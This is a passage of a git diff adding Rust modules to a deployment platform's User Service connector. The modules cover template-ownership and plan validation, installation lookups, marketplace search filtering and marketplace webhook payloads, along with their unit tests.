assert_eq!(id.as_hash(), Some("abc123")); + assert_eq!(id.as_installation_id(), None); + } + + #[test] + fn test_identifier_from_id() { + let id = DeploymentIdentifier::from_id(99999); + assert!(!id.is_hash()); + assert!(id.requires_resolution()); + assert_eq!(id.as_hash(), None); + assert_eq!(id.as_installation_id(), Some(99999)); + } + + #[test] + fn test_into_hash_success() { + let id = DeploymentIdentifier::from_hash("convert_me"); + let result = id.into_hash(); + assert_eq!(result.unwrap(), "convert_me"); + } + + #[test] + fn test_into_hash_fails_for_installation_id() { + let id = DeploymentIdentifier::from_id(123); + let result = id.into_hash(); + assert!(result.is_err()); + + // The error returns the original identifier + let returned_id = result.unwrap_err(); + assert_eq!(returned_id.as_installation_id(), Some(123)); + } + + #[test] + fn test_try_from_options_prefers_hash() { + // When both are provided, hash takes priority + let id = + DeploymentIdentifier::try_from_options(Some("my_hash".to_string()), Some(999)).unwrap(); + + assert!(id.is_hash()); + assert_eq!(id.as_hash(), Some("my_hash")); + } + + #[test] + fn test_try_from_options_uses_id_when_no_hash() { + let id = DeploymentIdentifier::try_from_options(None, Some(42)).unwrap(); + + assert!(!id.is_hash()); + assert_eq!(id.as_installation_id(), Some(42)); + } + + #[test] + fn test_try_from_options_fails_when_both_none() { + let result = DeploymentIdentifier::try_from_options(None, None); + assert!(result.is_err()); + assert_eq!( + result.unwrap_err(), + "Either deployment_hash or deployment_id is required" + ); + } + + #[test] + fn test_from_traits() { + // Test From + let id: DeploymentIdentifier = "string_hash".to_string().into(); + assert!(id.is_hash()); + + // Test From<&str> + let id: DeploymentIdentifier = "str_hash".into(); + assert!(id.is_hash()); + + // Test From + let id: DeploymentIdentifier = 12345i64.into(); + assert!(!id.is_hash()); + + // Test From + let id: DeploymentIdentifier = 42i32.into(); + assert!(!id.is_hash()); + assert_eq!(id.as_installation_id(), Some(42)); + } + + // ============================================================ + // ResolvedDeploymentInfo tests + // ============================================================ + + #[test] + fn test_resolved_info_from_hash() { + let info = ResolvedDeploymentInfo::from_hash("test_hash".to_string()); + + assert_eq!(info.deployment_hash, "test_hash"); + assert_eq!(info.status, "unknown"); + assert!(info.domain.is_none()); + assert!(info.server_ip.is_none()); + assert!(info.apps.is_none()); + } + + #[test] + fn test_resolved_info_default() { + let info = ResolvedDeploymentInfo::default(); + + assert!(info.deployment_hash.is_empty()); + assert!(info.status.is_empty()); + assert!(info.domain.is_none()); + } +} diff --git a/stacker/stacker/src/connectors/user_service/deployment_validator.rs b/stacker/stacker/src/connectors/user_service/deployment_validator.rs new file mode 100644 index 0000000..3eca18f --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/deployment_validator.rs @@ -0,0 +1,360 @@ +/// Deployment validator for marketplace template ownership +/// +/// Validates that users can deploy marketplace templates they own. +/// Implements plan gating (if template requires specific plan tier) and +/// product ownership checks (if template is a paid marketplace product). +use std::sync::Arc; +use tracing::Instrument; + +use crate::connectors::UserServiceConnector; +use crate::models; + +/// Custom error types for deployment validation +#[derive(Debug, Clone)] +pub enum DeploymentValidationError { + /// User's plan is insufficient for this template + InsufficientPlan { + required_plan: String, + user_plan: String, + }, + + /// User has not purchased this marketplace template + TemplateNotPurchased { + template_id: String, + product_price: Option, + }, + + /// Template not found in User Service + TemplateNotFound { template_id: String }, + + /// Failed to validate with User Service (unavailable, auth error, etc.) + ValidationFailed { reason: String }, +} + +impl std::fmt::Display for DeploymentValidationError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::InsufficientPlan { + required_plan, + user_plan, + } => write!( + f, + "You require a '{}' subscription to deploy this template (you have '{}')", + required_plan, user_plan + ), + Self::TemplateNotPurchased { + template_id, + product_price, + } => { + if let Some(price) = product_price { + write!( + f, + "This verified pro stack requires purchase (${:.2}). Please purchase from marketplace.", + price + ) + } else { + write!( + f, + "You must purchase this template to deploy it. Template ID: {}", + template_id + ) + } + } + Self::TemplateNotFound { template_id } => { + write!(f, "Template {} not found in marketplace", template_id) + } + Self::ValidationFailed { reason } => { + write!(f, "Failed to validate deployment: {}", reason) + } + } + } +} + +/// Validator for marketplace template deployments +pub struct DeploymentValidator { + user_service_connector: Arc, +} + +impl DeploymentValidator { + /// Create new deployment validator + pub fn new(user_service_connector: Arc) -> Self { + Self { + user_service_connector, + } + } + + /// Validate that user can deploy a marketplace template + /// + /// Checks: + /// 1. If template requires a plan tier, verify user has it + /// 2. If template is a paid marketplace product, verify user owns it + /// + /// # Arguments + /// * `template` - The stack template being deployed + /// * `user_token` - User's OAuth token for User Service queries + /// + /// # Returns + /// Ok(()) if validation passes, Err(DeploymentValidationError) otherwise + pub async fn validate_template_deployment( + &self, + template: &models::marketplace::StackTemplate, + user_token: &str, + ) -> Result<(), DeploymentValidationError> { + let span = tracing::info_span!( + "validate_template_deployment", + template_id = %template.id + ); + + // Check plan requirement first (if specified) + if let Some(required_plan) = &template.required_plan_name { + self.validate_plan_access(user_token, required_plan) + .instrument(span.clone()) + .await?; + } + + // Check marketplace template purchase (if it's a marketplace template with a product) + if template.product_id.is_some() { + self.validate_template_ownership(user_token, &template.id.to_string()) + .instrument(span) + .await?; + } + + tracing::info!("Template deployment validation successful"); + Ok(()) + } + + /// Validate user has required plan tier + async fn validate_plan_access( + &self, + user_token: &str, + required_plan: &str, + ) -> Result<(), DeploymentValidationError> { + let span = tracing::info_span!("validate_plan_access", required_plan = required_plan); + + // Extract user ID from token (or use token directly for User Service query) + // For now, we'll rely on User Service to validate the token + let has_plan = self + .user_service_connector + .user_has_plan(user_token, required_plan, Some(user_token)) + .instrument(span.clone()) + .await + .map_err(|e| DeploymentValidationError::ValidationFailed { + reason: format!("Failed to check plan access: {}", e), + })?; + + if !has_plan { + // Get user's actual plan for error message + let user_plan = self + .user_service_connector + .get_user_plan(user_token) + .instrument(span) + .await + .map(|info| info.plan_name) + .unwrap_or_else(|_| "unknown".to_string()); + + return Err(DeploymentValidationError::InsufficientPlan { + required_plan: required_plan.to_string(), + user_plan, + }); + } + + Ok(()) + } + + /// Validate user owns a marketplace template product + async fn validate_template_ownership( + &self, + user_token: &str, + stack_template_id: &str, + ) -> Result<(), DeploymentValidationError> { + let span = tracing::info_span!( + "validate_template_ownership", + template_id = stack_template_id + ); + + // First check if template even has a product + // Note: We need template ID as i32 for User Service query + // For now, we'll just check ownership directly + let owns_template = self + .user_service_connector + .user_owns_template(user_token, stack_template_id) + .instrument(span.clone()) + .await + .map_err(|e| DeploymentValidationError::ValidationFailed { + reason: format!("Failed to check template ownership: {}", e), + })?; + + if !owns_template { + // If user doesn't own, they may need to purchase + // In a real scenario, we'd fetch price from User Service + return Err(DeploymentValidationError::TemplateNotPurchased { + template_id: stack_template_id.to_string(), + product_price: None, + }); + } + + tracing::info!("User owns template, allowing deployment"); + Ok(()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::sync::Arc; + + #[test] + fn test_validation_error_display() { + let err = DeploymentValidationError::InsufficientPlan { + required_plan: "professional".to_string(), + user_plan: "basic".to_string(), + }; + let msg = err.to_string(); + assert!(msg.contains("professional")); + assert!(msg.contains("basic")); + } + + #[test] + fn test_template_not_purchased_error() { + let err = DeploymentValidationError::TemplateNotPurchased { + template_id: "template-123".to_string(), + product_price: Some(99.99), + }; + let msg = err.to_string(); + assert!(msg.contains("99.99")); + assert!(msg.contains("purchase")); + } + + #[test] + fn test_template_not_purchased_error_no_price() { + let err = DeploymentValidationError::TemplateNotPurchased { + template_id: "template-456".to_string(), + product_price: None, + }; + let msg = err.to_string(); + assert!(msg.contains("template-456")); + assert!(msg.contains("purchase")); + } + + #[test] + fn test_template_not_found_error() { + let err = DeploymentValidationError::TemplateNotFound { + template_id: "missing-template".to_string(), + }; + let msg = err.to_string(); + assert!(msg.contains("missing-template")); + assert!(msg.contains("marketplace")); + } + + #[test] + fn test_validation_failed_error() { + let err = DeploymentValidationError::ValidationFailed { + reason: "User Service unavailable".to_string(), + }; + let msg = err.to_string(); + assert!(msg.contains("unavailable")); + } + + /// Test deployment validator creation + #[test] + fn test_deployment_validator_creation() { + let connector = Arc::new(super::super::mock::MockUserServiceConnector); + let _validator = DeploymentValidator::new(connector); + // Validator created successfully - no need for additional assertions + } + + /// Test that InsufficientPlan error message includes both plans + #[test] + fn test_error_message_includes_both_plans() { + let error = DeploymentValidationError::InsufficientPlan { + required_plan: "enterprise".to_string(), + user_plan: "basic".to_string(), + }; + let message = error.to_string(); + assert!(message.contains("enterprise")); + assert!(message.contains("basic")); + assert!(message.contains("subscription")); + } + + /// Test that TemplateNotPurchased error shows price + #[test] + fn test_template_not_purchased_shows_price() { + let error = DeploymentValidationError::TemplateNotPurchased { + template_id: "ai-stack".to_string(), + product_price: Some(49.99), + }; + let message = error.to_string(); + assert!(message.contains("49.99")); + assert!(message.contains("pro stack")); + } + + /// Test Debug trait for errors + #[test] + fn test_error_debug_display() { + let err = DeploymentValidationError::TemplateNotFound { + template_id: "template-123".to_string(), + }; + let debug_str = format!("{:?}", err); + assert!(debug_str.contains("TemplateNotFound")); + } + + /// Test Clone trait for errors + #[test] + fn test_error_clone() { + let err1 = DeploymentValidationError::InsufficientPlan { + required_plan: "professional".to_string(), + user_plan: "basic".to_string(), + }; + let err2 = err1.clone(); + assert_eq!(err1.to_string(), err2.to_string()); + } + + /// Test that error messages are user-friendly and actionable + #[test] + fn test_error_messages_are_user_friendly() { + // InsufficientPlan should guide users to upgrade + let plan_err = DeploymentValidationError::InsufficientPlan { + required_plan: "professional".to_string(), + user_plan: "basic".to_string(), + }; + assert!(plan_err.to_string().contains("subscription")); + assert!(plan_err.to_string().contains("professional")); + + // TemplateNotPurchased should direct to marketplace + let purchase_err = DeploymentValidationError::TemplateNotPurchased { + template_id: "premium-stack".to_string(), + product_price: Some(99.99), + }; + assert!(purchase_err.to_string().contains("marketplace")); + + // ValidationFailed should explain the issue + let validation_err = DeploymentValidationError::ValidationFailed { + reason: "Cannot connect to marketplace service".to_string(), + }; + assert!(validation_err.to_string().contains("Cannot connect")); + } + + /// Test all error variants can be created + #[test] + fn test_all_error_variants_creation() { + let _insufficient_plan = DeploymentValidationError::InsufficientPlan { + required_plan: "pro".to_string(), + user_plan: "basic".to_string(), + }; + + let _not_purchased = DeploymentValidationError::TemplateNotPurchased { + template_id: "id".to_string(), + product_price: Some(50.0), + }; + + let _not_found = DeploymentValidationError::TemplateNotFound { + template_id: "id".to_string(), + }; + + let _failed = DeploymentValidationError::ValidationFailed { + reason: "test".to_string(), + }; + + // If we get here, all variants can be constructed + } +} diff --git a/stacker/stacker/src/connectors/user_service/error.rs b/stacker/stacker/src/connectors/user_service/error.rs new file mode 100644 index 0000000..74fe7ab --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/error.rs @@ -0,0 +1 @@ +// Deprecated file: legacy UserServiceError removed after unification. diff --git a/stacker/stacker/src/connectors/user_service/init.rs b/stacker/stacker/src/connectors/user_service/init.rs new file mode 100644 index 0000000..30cfeb9 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/init.rs @@ -0,0 +1,59 @@ +use actix_web::web; +use std::sync::Arc; + +use crate::connectors::config::ConnectorConfig; +use crate::connectors::user_service::{mock, UserServiceClient, UserServiceConnector}; + +/// Initialize User Service connector with config from Settings +/// +/// Returns configured connector wrapped in web::Data for injection into Actix app +/// Also spawns background task to sync categories from User Service +/// +/// # Example +/// ```ignore +/// // In startup.rs +/// let user_service = connectors::user_service::init(&settings.connectors, pg_pool.clone()); +/// App::new().app_data(user_service) +/// ``` +pub fn init( + connector_config: &ConnectorConfig, + pg_pool: web::Data, +) -> web::Data> { + let connector: Arc = if let Some(user_service_config) = + connector_config.user_service.as_ref().filter(|c| c.enabled) + { + let mut config = user_service_config.clone(); + // Load auth token from environment if not set in config + if config.auth_token.is_none() { + config.auth_token = std::env::var("USER_SERVICE_AUTH_TOKEN").ok(); + } + tracing::info!("Initializing User Service connector: {}", config.base_url); + Arc::new(UserServiceClient::new(config)) + } else { + tracing::warn!("User Service connector disabled - using mock"); + Arc::new(mock::MockUserServiceConnector) + }; + + // Spawn background task to sync categories on startup + let connector_clone = connector.clone(); + let pg_pool_clone = pg_pool.clone(); + tokio::spawn(async move { + match connector_clone.get_categories().await { + Ok(categories) => { + tracing::info!("Fetched {} categories from User Service", categories.len()); + match crate::db::marketplace::sync_categories(pg_pool_clone.get_ref(), categories) + .await + { + Ok(count) => tracing::info!("Successfully synced {} categories", count), + Err(e) => tracing::error!("Failed to sync categories to database: {}", e), + } + } + Err(e) => tracing::warn!( + "Failed to fetch categories from User Service (will retry later): {:?}", + e + ), + } + }); + + web::Data::new(connector) +} diff --git a/stacker/stacker/src/connectors/user_service/install.rs b/stacker/stacker/src/connectors/user_service/install.rs new file mode 100644 index 0000000..423e431 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/install.rs @@ -0,0 +1,325 @@ +use serde::{Deserialize, Serialize}; +use urlencoding::encode; + +use crate::connectors::errors::ConnectorError; + +use super::UserServiceClient; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Installation { + #[serde(rename = "_id")] + pub id: Option, + pub stack_code: Option, + pub status: Option, + pub cloud: Option, + pub deployment_hash: Option, + pub domain: Option, + #[serde(rename = "_created")] + pub created_at: Option, + #[serde(rename = "_updated")] + pub updated_at: Option, +} +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct InstallationDetails { + #[serde(rename = "_id", alias = "id")] + pub id: Option, + pub stack_code: Option, + pub status: Option, + pub cloud: Option, + pub deployment_hash: Option, + pub domain: Option, + pub server_ip: Option, + pub apps: Option>, + pub agent_config: Option, + #[serde(rename = "_created")] + pub created_at: Option, + #[serde(rename = "_updated")] + pub updated_at: Option, +} +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct InstallationApp { + pub app_code: Option, + pub name: Option, + pub version: Option, + pub port: Option, +} + +// Wrapper types for Eve-style responses +#[derive(Debug, Deserialize)] +struct InstallationsResponse { + _items: Vec, +} + +fn parse_installation_details_payload( + mut payload: serde_json::Value, +) -> Result { + if let Some(wrapper) = payload.as_object_mut() { + if let Some(mut installation) = wrapper.remove("installation") { + if let Some(agent_config) = wrapper.remove("agent_config") { + if let Some(installation_obj) = installation.as_object_mut() { + installation_obj.insert("agent_config".to_string(), agent_config); + } + } + payload = installation; + } + } + + if let Some(installation_obj) = payload.as_object_mut() { + if !installation_obj.contains_key("_id") { + if let Some(id) = installation_obj.remove("id") { + installation_obj.insert("_id".to_string(), id); + } + } + if !installation_obj.contains_key("_created") { + if let Some(created_at) = installation_obj.get("date_created").cloned() { + installation_obj.insert("_created".to_string(), created_at); + } + } + + if let Some(request_dump) = installation_obj + .get("request_dump") + .and_then(|value| value.as_object()) + .cloned() + { + let field_mappings = [ + ("stack_code", "stack_code"), + ("provider", "cloud"), + ("cloud", "cloud"), + ("commonDomain", "domain"), + ("domain", "domain"), + ("server_ip", "server_ip"), + ("deployment_hash", "deployment_hash"), + ]; + + for (source, target) in field_mappings { + if installation_obj.contains_key(target) { + continue; + } + if let Some(value) = request_dump.get(source).cloned() { + installation_obj.insert(target.to_string(), value); + } + } + } + } + + serde_json::from_value::(payload) + .map_err(|e| ConnectorError::InvalidResponse(e.to_string())) +} + +impl UserServiceClient { + /// List user's installations (deployments) + pub async fn list_installations( + &self, + bearer_token: &str, + ) -> Result, ConnectorError> { + let url = format!("{}/api/1.0/installations", self.base_url); + + let response = self + .http_client + .get(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(ConnectorError::from)?; + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + // User Service returns { "_items": [...], "_meta": {...} } + let wrapper: InstallationsResponse = response + .json() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))?; + + Ok(wrapper._items) + } + + /// Get specific installation details + pub async fn get_installation( + &self, + bearer_token: &str, + installation_id: i64, + ) -> Result { + let url = format!( + "{}/api/1.0/installations/{}", + self.base_url, installation_id + ); + + let mut response = self + .http_client + .get(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(ConnectorError::from)?; + + if response.status().as_u16() == 404 { + let fallback_url = format!("{}/install/{}", self.base_url, installation_id); + response = self + .http_client + .get(&fallback_url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(ConnectorError::from)?; + } + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + let payload = response + .json::() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))?; + + parse_installation_details_payload(payload) + } + + /// Get installation details by deployment hash via the lightweight Flask route. + pub async fn get_installation_by_hash( + &self, + bearer_token: &str, + deployment_hash: &str, + ) -> Result { + let url = format!( + "{}/install/by-deployment-hash/{}", + self.base_url, + encode(deployment_hash) + ); + + let response = self + .http_client + .get(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(ConnectorError::from)?; + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + response + .json::() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string())) + } + + /// Initiate a deployment via User Service native flow + pub async fn initiate_deployment( + &self, + bearer_token: &str, + payload: serde_json::Value, + ) -> Result { + let url = format!("{}/install/init/", self.base_url); + + let response = self + .http_client + .post(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .json(&payload) + .send() + .await + .map_err(ConnectorError::from)?; + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + response + .json::() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string())) + } + + /// Trigger redeploy for an installation + pub async fn trigger_redeploy( + &self, + bearer_token: &str, + installation_id: i64, + ) -> Result { + let url = format!("{}/install/{}/redeploy", self.base_url, installation_id); + + let response = self + .http_client + .post(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(ConnectorError::from)?; + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + response + .json::() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string())) + } + + /// Add app to an existing installation + pub async fn add_app_to_installation( + &self, + bearer_token: &str, + installation_id: i64, + app_code: &str, + app_config: Option, + ) -> Result { + let url = format!("{}/install/{}/add-app", self.base_url, installation_id); + let payload = serde_json::json!({ + "app_code": app_code, + "app_config": app_config.unwrap_or_else(|| serde_json::json!({})) + }); + + let response = self + .http_client + .post(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .json(&payload) + .send() + .await + .map_err(ConnectorError::from)?; + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + response + .json::() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string())) + } +} diff --git a/stacker/stacker/src/connectors/user_service/marketplace_search.rs b/stacker/stacker/src/connectors/user_service/marketplace_search.rs new file mode 100644 index 0000000..545f5ac --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/marketplace_search.rs @@ -0,0 +1,129 @@ +use crate::connectors::errors::ConnectorError; + +use super::UserServiceClient; + +impl UserServiceClient { + pub async fn search_marketplace_templates( + &self, + bearer_token: &str, + query: Option<&str>, + category: Option<&str>, + is_marketplace: Option, + page: Option, + max_results: Option, + ) -> Result, ConnectorError> { + let mut url = format!("{}/applications/", self.base_url); + let mut query_parts: Vec = Vec::new(); + + if let Some(page) = page { + query_parts.push(format!("page={}", page)); + } + + if let Some(max_results) = max_results { + query_parts.push(format!("max_results={}", max_results)); + } + + if !query_parts.is_empty() { + url.push('?'); + url.push_str(&query_parts.join("&")); + } + + let response = self + .http_client + .get(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(ConnectorError::from)?; + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + let payload = response + .json::() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))?; + + let raw_items = if let Some(items) = payload.get("_items").and_then(|v| v.as_array()) { + items.clone() + } else if let Some(items) = payload.as_array() { + items.clone() + } else { + Vec::new() + }; + + let query_lc = query.map(|q| q.to_lowercase()); + let category_lc = category.map(|c| c.to_lowercase()); + + let items = raw_items + .into_iter() + .filter(|item| { + if let Some(expected) = is_marketplace { + let actual = item + .get("is_from_marketplace") + .and_then(|v| v.as_bool()) + .unwrap_or(false); + if actual != expected { + return false; + } + } + + if let Some(ref q) = query_lc { + let name = item + .get("name") + .and_then(|v| v.as_str()) + .unwrap_or_default() + .to_lowercase(); + let code = item + .get("code") + .and_then(|v| v.as_str()) + .unwrap_or_default() + .to_lowercase(); + let description = item + .get("description") + .and_then(|v| v.as_str()) + .unwrap_or_default() + .to_lowercase(); + + if !(name.contains(q) || code.contains(q) || description.contains(q)) { + return false; + } + } + + if let Some(ref expected_category) = category_lc { + let category_match = item + .get("category") + .and_then(|v| v.as_str()) + .map(|v| v.to_lowercase() == *expected_category) + .unwrap_or(false) + || item + .get("categories") + .and_then(|v| v.as_array()) + .map(|arr| { + arr.iter().any(|entry| { + entry + .as_str() + .map(|v| v.to_lowercase() == *expected_category) + .unwrap_or(false) + }) + }) + .unwrap_or(false); + + if !category_match { + return false; + } + } + + true + }) + .collect::>(); + + Ok(items) + } +} diff --git a/stacker/stacker/src/connectors/user_service/marketplace_webhook.rs b/stacker/stacker/src/connectors/user_service/marketplace_webhook.rs new file mode 100644 index 0000000..4924bf5 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/marketplace_webhook.rs @@ -0,0 +1,1064 @@ +/// Marketplace webhook sender for User Service integration +/// +/// Sends webhooks to User Service when marketplace templates change status. +/// This implements Flow 3 from PAYMENT_MODEL.md: Creator publishes template → Product created in User Service +/// +/// **Architecture**: One-way webhooks from Stacker to User Service. +/// - No bi-directional queries on approval +/// - Bearer token authentication using STACKER_SERVICE_TOKEN +/// - Template approval does not block if webhook send fails (async/retry pattern) +use serde::{Deserialize, Serialize}; +use std::sync::Arc; +use tokio::sync::Mutex; +use tracing::Instrument; + +use crate::connectors::ConnectorError; +use crate::models; + +/// Marketplace webhook payload sent to User Service +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct MarketplaceWebhookPayload { + /// Action type for the marketplace sync webhook. + pub action: String, + + /// Stacker template UUID (as string) + pub stack_template_id: String, + + /// External ID for User Service product (UUID as string or i32, same as stack_template_id) + pub external_id: String, + + /// Product code (slug-based identifier) + pub code: Option, + + /// Template name + pub name: Option, + + /// Template description + pub description: Option, + + /// Price in specified currency (set by creator during submission) + pub price: Option, + + /// Billing cycle: "free", "one_time", or "subscription" + #[serde(skip_serializing_if = "Option::is_none")] + pub billing_cycle: Option, + + /// Currency code (USD, EUR, etc.) + #[serde(skip_serializing_if = "Option::is_none")] + pub currency: Option, + + /// Creator/vendor user ID from Stacker + pub vendor_user_id: Option, + + /// Vendor display name (creator_name from template) + pub vendor_name: Option, + + /// Category of template + #[serde(skip_serializing_if = "Option::is_none")] + pub category: Option, + + /// Tags/keywords + #[serde(skip_serializing_if = "Option::is_none")] + pub tags: Option, + + /// Full description (long_description from template) + #[serde(skip_serializing_if = "Option::is_none")] + pub long_description: Option, + + /// Tech stack metadata (JSON object of services/apps) + #[serde(skip_serializing_if = "Option::is_none")] + pub tech_stack: Option, + + /// Infrastructure compatibility metadata for deployment validation. + #[serde(skip_serializing_if = "Option::is_none")] + pub infrastructure_requirements: Option, + + /// Creator display name + #[serde(skip_serializing_if = "Option::is_none")] + pub creator_name: Option, + + /// Total deployments count + #[serde(skip_serializing_if = "Option::is_none")] + pub deploy_count: Option, + + /// Total views count + #[serde(skip_serializing_if = "Option::is_none")] + pub view_count: Option, + + /// When the template was approved + #[serde(skip_serializing_if = "Option::is_none")] + pub approved_at: Option, + + /// Minimum plan required to deploy + #[serde(skip_serializing_if = "Option::is_none")] + pub required_plan_name: Option, + + /// Reviewer feedback for update-required notifications. + #[serde(skip_serializing_if = "Option::is_none")] + pub review_reason: Option, + + /// Suggested next step for the creator. + #[serde(skip_serializing_if = "Option::is_none")] + pub next_action_hint: Option, + + /// Creator email when available. + #[serde(skip_serializing_if = "Option::is_none")] + pub vendor_email: Option, +} + +/// Response from User Service webhook endpoint +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct WebhookResponse { + pub success: bool, + pub message: Option, + pub product_id: Option, +} + +/// Configuration for webhook sender +#[derive(Debug, Clone)] +pub struct WebhookSenderConfig { + /// User Service base URL (e.g., "http://user:4100") + pub base_url: String, + + /// Bearer token for service-to-service authentication + pub bearer_token: String, + + /// HTTP client timeout in seconds + pub timeout_secs: u64, + + /// Number of retry attempts on failure + pub retry_attempts: usize, +} + +impl WebhookSenderConfig { + /// Create from environment variables + pub fn from_env() -> Result { + let base_url = std::env::var("URL_SERVER_USER") + .or_else(|_| std::env::var("USER_SERVICE_URL")) + .or_else(|_| std::env::var("USER_SERVICE_BASE_URL")) + .map_err(|_| "USER_SERVICE_URL not configured".to_string())?; + + let bearer_token = std::env::var("STACKER_SERVICE_TOKEN") + .map_err(|_| "STACKER_SERVICE_TOKEN not configured".to_string())?; + + Ok(Self { + base_url, + bearer_token, + timeout_secs: 10, + retry_attempts: 3, + }) + } +} + +/// Sends webhooks to User Service when marketplace templates change +pub struct MarketplaceWebhookSender { + config: WebhookSenderConfig, + http_client: reqwest::Client, + // Track webhook deliveries in-memory (simple approach) + #[allow(dead_code)] + pending_webhooks: Arc>>, +} + +impl MarketplaceWebhookSender { + /// Create new webhook sender with configuration + pub fn new(config: WebhookSenderConfig) -> Self { + let timeout = std::time::Duration::from_secs(config.timeout_secs); + let http_client = reqwest::Client::builder() + .timeout(timeout) + .build() + .expect("Failed to create HTTP client"); + + Self { + config, + http_client, + pending_webhooks: Arc::new(Mutex::new(Vec::new())), + } + } + + /// Create from environment variables + pub fn from_env() -> Result { + let config = WebhookSenderConfig::from_env()?; + Ok(Self::new(config)) + } + + /// Send template approved webhook to User Service + /// Creates/updates product in User Service marketplace + pub async fn send_template_approved( + &self, + template: &models::marketplace::StackTemplate, + vendor_id: &str, + category_code: Option, + ) -> Result { + let span = tracing::info_span!( + "send_template_approved_webhook", + template_id = %template.id, + vendor_id = vendor_id + ); + + let payload = MarketplaceWebhookPayload { + action: "template_approved".to_string(), + stack_template_id: template.id.to_string(), + external_id: template.id.to_string(), + code: Some(template.slug.clone()), + name: Some(template.name.clone()), + description: template + .short_description + .clone() + .or_else(|| template.long_description.clone()), + price: template.price, + billing_cycle: template.billing_cycle.clone(), + currency: template.currency.clone(), + vendor_user_id: Some(vendor_id.to_string()), + vendor_name: template.creator_name.clone(), + category: category_code, + tags: if let serde_json::Value::Array(_) = template.tags { + Some(template.tags.clone()) + } else { + None + }, + long_description: template.long_description.clone(), + tech_stack: if template.tech_stack != serde_json::json!({}) { + Some(template.tech_stack.clone()) + } else { + None + }, + infrastructure_requirements: if template.infrastructure_requirements + != serde_json::json!({}) + { + Some(template.infrastructure_requirements.clone()) + } else { + None + }, + creator_name: template.creator_name.clone(), + deploy_count: template.deploy_count, + view_count: template.view_count, + approved_at: template.approved_at.map(|dt| dt.to_rfc3339()), + required_plan_name: template.required_plan_name.clone(), + review_reason: None, + next_action_hint: None, + vendor_email: None, + }; + + self.send_webhook(&payload).instrument(span).await + } + + /// Send template published webhook to User Service. + /// Creates/updates the product and triggers the creator approval notification. + pub async fn send_template_published( + &self, + template: &models::marketplace::StackTemplate, + vendor_id: &str, + category_code: Option, + ) -> Result { + let span = tracing::info_span!( + "send_template_published_webhook", + template_id = %template.id, + vendor_id = vendor_id + ); + + let payload = MarketplaceWebhookPayload { + action: "template_published".to_string(), + stack_template_id: template.id.to_string(), + external_id: template.id.to_string(), + code: Some(template.slug.clone()), + name: Some(template.name.clone()), + description: template + .short_description + .clone() + .or_else(|| template.long_description.clone()), + price: template.price, + billing_cycle: template.billing_cycle.clone(), + currency: template.currency.clone(), + vendor_user_id: Some(vendor_id.to_string()), + vendor_name: template.creator_name.clone(), + category: category_code, + tags: if let serde_json::Value::Array(_) = template.tags { + Some(template.tags.clone()) + } else { + None + }, + long_description: template.long_description.clone(), + tech_stack: if template.tech_stack != serde_json::json!({}) { + Some(template.tech_stack.clone()) + } else { + None + }, + infrastructure_requirements: if template.infrastructure_requirements + != serde_json::json!({}) + { + Some(template.infrastructure_requirements.clone()) + } else { + None + }, + creator_name: template.creator_name.clone(), + deploy_count: template.deploy_count, + view_count: template.view_count, + approved_at: template.approved_at.map(|dt| dt.to_rfc3339()), + required_plan_name: template.required_plan_name.clone(), + review_reason: None, + next_action_hint: None, + vendor_email: None, + }; + + self.send_webhook(&payload).instrument(span).await + } + + /// Send template updated webhook to User Service + /// Updates product metadata/details in User Service + pub async fn send_template_updated( + &self, + template: &models::marketplace::StackTemplate, + vendor_id: &str, + category_code: Option, + ) -> Result { + let span = tracing::info_span!( + "send_template_updated_webhook", + template_id = %template.id + ); + + let payload = MarketplaceWebhookPayload { + action: "template_updated".to_string(), + stack_template_id: template.id.to_string(), + external_id: template.id.to_string(), + code: Some(template.slug.clone()), + name: 